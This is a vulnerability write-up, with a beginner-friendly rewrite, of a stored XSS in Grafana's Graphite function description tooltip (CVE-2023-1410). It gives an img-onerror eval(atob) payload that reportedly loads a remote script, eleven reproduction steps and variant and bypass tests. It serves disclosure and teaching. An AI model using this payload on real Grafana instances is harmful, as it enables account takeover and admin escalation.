CVE-2023–1410 : Stored XSS in the Graphite Function Description tooltip
Graphite's function description tooltip is inserted into the DOM without sanitisation, so a malicious Graphite data source can store an XSS payload in a function description. When a Grafana user hovers over that function, the attacker's script runs in the user's browser and could be used to add the attacker as an administrator.
Hello everyone, Do you know about Graphite, a popular tool for monitoring metrics?
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Graphite is a popular tool for monitoring metrics. When a Graphite data source is installed in Grafana, that data source can be used in a dashboard, and the dashboard can use Graphite Functions. When a function is chosen, a small tooltip appears when you hover the mouse over the function's name. That tooltip lets you remove the chosen function from your query or read the Function Description.

The Function Description tooltip looks harmless, but it is a good target for stored cross-site scripting (XSS). An attacker can insert malicious code into the Function Description tooltip, potentially stealing sensitive information or taking control of user accounts. This write-up covers the hazard and how to avoid it.
Summary
When a function is chosen, a little tooltip appears on hover over the function's name. The tooltip shows the option to remove the chosen function from the query and the Function Description. No sanitisation is performed while adding this description to the DOM.
Because connecting to public data sources is relatively common, an attacker can host a Graphite instance with modified Function Descriptions carrying XSS payloads. When the user uses that instance in a query and unintentionally hovers over the Function Description, the attacker-controlled XSS payload executes. This can be used, for example, to make the attacker an administrator.
Setup
The researcher ran a local Graphite instance as part of the development environment:
make devenv sources=graphite
The victim side is a Grafana instance where the tester logs in as an Organization Admin. The attacker side is a Graphite instance whose Function Descriptions have been modified. No specific Grafana version is given in the report.
Finding it
The Function Description text is inserted into the DOM without sanitisation. The description is rendered inside a tooltip that appears on hover. Because a Graphite data source can point at any reachable Graphite instance, including one controlled by an attacker, the description becomes an attacker-controlled input that reaches the victim's browser.
Exploitation
Step 1: Create a Graphite instance
The researcher created a Graphite instance with:
make devenv sources=graphite
Step 2: Open the container console
Launch the Graphite container's console and modify the following file:
/opt/graphite/webapp/graphite/render/functions.py
Step 3: Choose a function
Any function can be used. The researcher chose aggregateSeriesLists.
Step 4: Replace the description
The description was changed to:
"><img src=x id=[redacted]= onerror=eval(atob(this.id))>
The payload is an img element with an id holding a base64 string and an onerror handler that calls eval(atob(this.id)). The id attribute holds a base64 string. The onerror handler calls eval(atob(this.id)), so the decoded string is executed as JavaScript. Decoded, that string creates a script element, sets its src to an external host, and appends it to the document body, which loads a remote script into the page.
Step 5: The modified function
After the edit, the function definition looked like this:
def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """ "><img src=x id=[redacted]= onerror=eval(atob(this.id))> """ if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = [] for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results aggregateSeriesLists.group = 'Combine' aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ]
The payload sits inside the function's docstring.
Step 6: Restart
Save and exit the file, then restart the Graphite container.
Step 7: Log in to Grafana
Log in as an Organization Admin to the Grafana instance.
Step 8: Open the Graphite plugin page
Navigate to:
http://[grafana]/plugins/graphite
and click Create a Graphite data source.
Step 9: Point Grafana at the malicious instance
Enter the URL of the attacker's Graphite instance (the researcher notes you may want to activate Skip SSL Check), then click Save & Test and Explore.
Step 10: Add the function
On the newly opened page, click the Add icon next to Functions, then search for aggregateSeriesLists and click it to add it.
Step 11: Trigger the payload
Hover the cursor above aggregateSeriesLists and then move it to the ? icon. The payload is triggered, and in this case it includes an external script that causes the alerts to be triggered.

Stored XSS in the Graphite Function Description tooltip
Root cause
The Function Description is added to the DOM without sanitisation. The description is treated as markup rather than text, so a value that closes the surrounding attribute and introduces an element with an event handler is executed when the tooltip renders. The description originates from the Graphite instance configured as a data source, which the attacker controls, so the attacker controls the input that reaches the victim's browser.
Impact
The attacker would increase the chance of success by replacing all of the instance's descriptions with XSS payloads. As shown, the attacker can execute arbitrary JavaScript in the victim's browser. The victim can be any user, including the Organization Admin, who uses the malicious Graphite instance in a query or while exploring. In that case, an attacker might insert a payload that allows them to be added as an administrator themselves.
Fix
The report does not state which change was made. A fix would be to treat the Function Description as text rather than markup when it is inserted into the tooltip.
- Other functions: modify the docstring of any other Graphite function and hover its tooltip. A positive result is script execution from the description.
- A positive result is an element or event handler appearing where plain text was expected.
- Different injection contexts: if the description is placed inside an attribute, try breaking out with
">; if it is placed in element body, try a tag directly. A positive result is the payload executing in either context. - Other data source plugins that fetch descriptions from a remote instance: point them at a controlled server and alter the returned text. A positive result is execution in the Grafana origin when the field is displayed.
- Sanitisation bypass: if a fix encodes some characters, test whether alternative encodings or event handlers still execute. A positive result is execution despite the encoding.
What happened, in plain words
Imagine you keep a notebook of recipes, and each recipe has a little sticky note on it explaining what the recipe does. You trust those sticky notes because they come from the same notebook. Now imagine someone hands you a notebook where one sticky note secretly says "when the reader looks at this note, hand over your house keys." You would not notice, because a sticky note looks like a sticky note. That is roughly what happened here.
Graphite is a tool for monitoring metrics, which are numbers collected over time, such as how busy a server is or how many visitors a website gets. Grafana is a dashboard tool: it draws charts and graphs, and it can pull its numbers from many different places, including a Graphite server. When you connect Grafana to a Graphite server, the functions it offers can be used in a query. A function is a small operation you can apply to your numbers, for example combining two lists of measurements into one.
Each function comes with a short description. In Grafana, when you hover your mouse over the function's name, a small tooltip pops up. A tooltip is the little floating box of text that appears next to your cursor. That tooltip shows the function's description and a button to remove the function from your query.
The problem: the description text was added to the DOM without sanitisation. In web terms, the description was treated as markup (instructions that build the page) rather than as plain text. So if the description contained hidden instructions, the browser would follow them. This is called stored cross-site scripting, or stored XSS. "Stored" means the bad content is saved somewhere (here, on the Graphite server) and served to whoever views it. "Cross-site scripting" means sneaking your own code into someone else's web page so it runs in their browser.
Because it is normal to connect Grafana to data sources you do not fully control, an attacker can run their own Graphite server with rigged descriptions. When a victim points Grafana at that server and hovers over the function, the attacker's code runs inside the victim's Grafana session. That code could, for example, quietly add the attacker as an administrator.

The image above shows the ordinary Function Description tooltip in Grafana, the harmless-looking box that turned out to be the weak point.
Summary
When you pick a function in Grafana, a tooltip appears on hover over the function's name. It offers to remove the function from your query and shows the Function Description. The description is added to the page (the DOM, which is the browser's live model of the page) with no sanitisation. Sanitisation means cleaning input so that dangerous characters cannot be interpreted as instructions.
Connecting to public data sources is common, so an attacker can host a Graphite instance whose Function Descriptions carry XSS payloads. A payload is the piece of malicious content that does the damage. When the user uses that instance in a query and accidentally hovers over the description, the attacker's payload runs. That can be used, for example, to make the attacker an administrator.
Setup
The researcher ran a local Graphite instance as part of the development environment:
make devenv sources=graphite
This is a command you type in a terminal (a text window where you type commands). make is a build tool that runs predefined tasks. devenv is a task that sets up a development environment, and sources=graphite tells it to include a Graphite server. In plain words: "set me up a local playground with Graphite in it." The researcher needed their own Graphite server so they could freely edit its files.
The victim side is a Grafana instance where the tester logs in as an Organization Admin. An Organization Admin is a user with high privileges inside Grafana, able to manage the organisation's settings and users. The attacker side is a Graphite instance whose Function Descriptions have been modified. No specific Grafana version is given in the report.
Finding it
The researcher noticed that the Function Description text is inserted into the DOM without sanitisation. Since the description is rendered inside a tooltip that appears on hover, any markup placed in the description is interpreted by the browser rather than displayed as text. Because a Graphite data source can point at any reachable Graphite instance, including one controlled by an attacker, the description becomes an attacker-controlled input that reaches the victim's browser.
In everyday terms: the browser cannot tell the difference between a description written by a friendly server and one written by an attacker. If the page says "treat this as instructions," the browser treats it as instructions.
Exploitation
Step 1: Create a Graphite instance
The researcher created a Graphite instance with:
make devenv sources=graphite
This is the same command as in the setup. It builds a working Graphite server on the researcher's own machine. The reason for this step is simple: to test whether a rigged description can run code, you first need a Graphite server you are allowed to rig.
Step 2: Open the container console
Launch the Graphite container's console and modify the following file:
/opt/graphite/webapp/graphite/render/functions.py
A container is a lightweight, isolated environment that runs a piece of software, a bit like a box with its own tiny computer inside. The console is a command line inside that box. The path above points to a Python source file. Python is a programming language, and this file defines the functions Graphite offers. The researcher opened it to change what one function says about itself.
Step 3: Choose a function
Any function can be used. The researcher chose aggregateSeriesLists.
A function name is just a label. aggregateSeriesLists is the function the researcher chose. The researcher picked it because any function would do; the point is that its description is what gets shown in the tooltip.
Step 4: Replace the description
The description was changed to:
"><img src=x id=[redacted]= onerror=eval(atob(this.id))>
">closes whatever attribute the description was sitting inside. An attribute is a setting on an HTML element, liketitle="hello". The"ends the value and the>ends the tag, so the browser thinks the tag is finished and is ready for a new one.<img src=x ...>starts a new image element.src=xtells the browser to load an image from a location calledx, which does not exist.id=dmFy...gives the image an identifier. The long string is base64, a way of writing data using only letters, digits and a few symbols. It is not readable at a glance, but a computer can decode it back into text.onerror=eval(atob(this.id))is the trigger.onerroris an event handler: code that runs when something goes wrong. Because the image atxfails to load, the error fires.atobdecodes the base64 string, andevalruns the decoded text as JavaScript, the language browsers use for interactive behaviour.>closes the image tag.
Decoded, that base64 string creates a script element, sets its src to an external host, and appends it to the document body. In other words, it loads a remote script into the page.
Step 5: The modified function
After the edit, the function definition looked like this:
def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """ "><img src=x id=[redacted]= onerror=eval(atob(this.id))> """ if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = [] for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results aggregateSeriesLists.group = 'Combine' aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ]
Line by line, in plain words:
def aggregateSeriesLists(...)starts the definition of the function and lists its inputs:requestContext,seriesListFirstPos,seriesListSecondPos,funcandxFilesFactor.- The triple-quoted text
""" ... """is a docstring, a block of documentation text attached to the function. This is the text Graphite exposes as the Function Description. The payload sits inside it. if len(seriesListFirstPos) != len(seriesListSecondPos):checks that the two lists have the same length.raise InputParameterError(...)stops with an error message if they do not.results = []creates an empty list to collect results.for i in range(0, len(seriesListFirstPos)):loops over each position in the lists.firstSeries = ...andsecondSeries = ...pick the matching series from each list.aggregated = aggregate(...)combines the two series using the chosen aggregation function.if not aggregated: continueskips to the next pair if there is no data.result = aggregated[0]takes the single combined result.result.name = ...builds a new name for the result from the two original names.results.append(result)adds it to the list.return resultshands the list back.aggregateSeriesLists.group = 'Combine'puts the function in a menu group called Combine.aggregateSeriesLists.params = [...]declares the parameters the function accepts, with their types and whether they are required.
Step 6: Restart
Save and exit the file, then restart the Graphite container. Restarting makes the server reload the edited file so the new description is served.
Step 7: Log in to Grafana
Log in as an Organization Admin to the Grafana instance.
Step 8: Open the Graphite plugin page
Navigate to:
http://[grafana]/plugins/graphite
and click Create a Graphite data source.
A data source is a connection setting that tells Grafana where to fetch numbers from. The URL above opens the Graphite plugin page, where you can create such a connection. [grafana] stands for the address of the Grafana server.
Step 9: Point Grafana at the malicious instance
Enter the URL of the attacker's Graphite instance (the researcher notes you may want to activate Skip SSL Check), then click Save & Test and Explore.
SSL is the encryption that protects connections between browsers and servers. Skip SSL Check tells Grafana not to verify the server's certificate, which is handy when testing against a self-made server. Save & Test stores the connection and checks it works. Explore opens Grafana's ad-hoc query screen, where you can try functions without building a full dashboard.
Step 10: Add the function
On the newly opened page, click the Add icon next to Functions, then search for aggregateSeriesLists and click it to add it. This puts the function into the query, which is what makes its tooltip available.
Step 11: Trigger the payload
Hover the cursor above aggregateSeriesLists and then move it to the ? icon. The payload is triggered, and in this case it includes an external script that causes the alerts to be triggered.

The image above is captioned Stored XSS in the Graphite Function Description tooltip.
Root cause
The Function Description is added to the DOM without sanitisation. The description is treated as markup rather than text, so a value that closes the surrounding attribute and introduces an element with an event handler is executed when the tooltip renders. The description originates from the Graphite instance configured as a data source, which the attacker controls, so the attacker controls the input that reaches the victim's browser.
In everyday terms: the page trusted a piece of text it should have treated as plain words. Because it treated the text as building instructions, the attacker could add their own bricks.
Impact
The attacker would increase the chance of success by replacing all of the instance's descriptions with XSS payloads. As shown, the attacker can execute arbitrary JavaScript in the victim's browser. The victim can be any user, including the Organization Admin, who uses the malicious Graphite instance in a query or while exploring. In that case, an attacker might insert a payload that allows them to be added as an administrator themselves.
Fix
The report does not state which change was made. A fix would be to treat the Function Description as text rather than markup when it is inserted into the tooltip.
- Other functions: modify the docstring of any other Graphite function and hover its tooltip. A positive result is script execution from the description.
- A positive result is an element or event handler appearing where plain text was expected.
- Different injection contexts: if the description is placed inside an attribute, try breaking out with
">; if it is placed in element body, try a tag directly. A positive result is the payload executing in either context. - Other data source plugins that fetch descriptions from a remote instance: point them at a controlled server and alter the returned text. A positive result is execution in the Grafana origin when the field is displayed.
- Sanitisation bypass: if a fix encodes some characters, test whether alternative encodings or event handlers still execute. A positive result is execution despite the encoding.
Glossary
- Graphite: a tool for collecting and querying metrics, the numbers that describe how a system behaves over time.
- Grafana: a dashboard tool that draws charts and can pull data from many sources, including Graphite.
- Metric: a number measured over time, such as CPU usage or visitor count.
- Function: a small operation applied to data, for example combining two lists of measurements.
- Tooltip: the small floating box of text that appears when you hover over something.
- Data source: a connection setting that tells Grafana where to fetch data from.
- Dashboard: a screen of charts and panels in Grafana.
- Query: the request you build to ask a data source for specific data.
- DOM: the browser's live model of the page, which scripts can read and change.
- Sanitisation: cleaning input so dangerous characters cannot be interpreted as instructions.
- Stored XSS: cross-site scripting where the malicious content is saved on a server and served to whoever views it.
- Cross-site scripting (XSS): sneaking your own code into someone else's web page so it runs in their browser.
- Payload: the piece of malicious content that does the damage.
- Attribute: a setting on an HTML element, such as
srcorid. - HTML element: a building block of a web page, such as an image or a paragraph.
- Event handler: code that runs when something happens, such as an image failing to load.
- JavaScript: the programming language browsers use for interactive behaviour.
- Base64: a way of writing data using letters, digits and a few symbols so it can travel safely as text.
atob: a browser function that decodes base64 text back into plain text.eval: a JavaScript function that runs a piece of text as code.- Docstring: a block of documentation text attached to a function in Python.
- Python: a programming language, used here to write Graphite's functions.
- Container: a lightweight, isolated environment that runs a piece of software.
- Console: a command line inside a container or system.
- Terminal: a text window where you type commands.
make: a build tool that runs predefined tasks.- Development environment: a local setup for testing software safely.
- Organization Admin: a Grafana user with high privileges inside an organisation.
- Plugin: an add-on that lets Grafana talk to a particular kind of data source.
- SSL: encryption that protects connections between browsers and servers.
- Certificate: a digital proof of identity used in encrypted connections.
- Skip SSL Check: a setting that tells Grafana not to verify the server's certificate.
- Explore: Grafana's ad-hoc query screen for trying functions without building a dashboard.
- Output encoding: converting characters so they are displayed as text rather than interpreted as markup.
- Content security policy: a browser rule that restricts which scripts a page may run.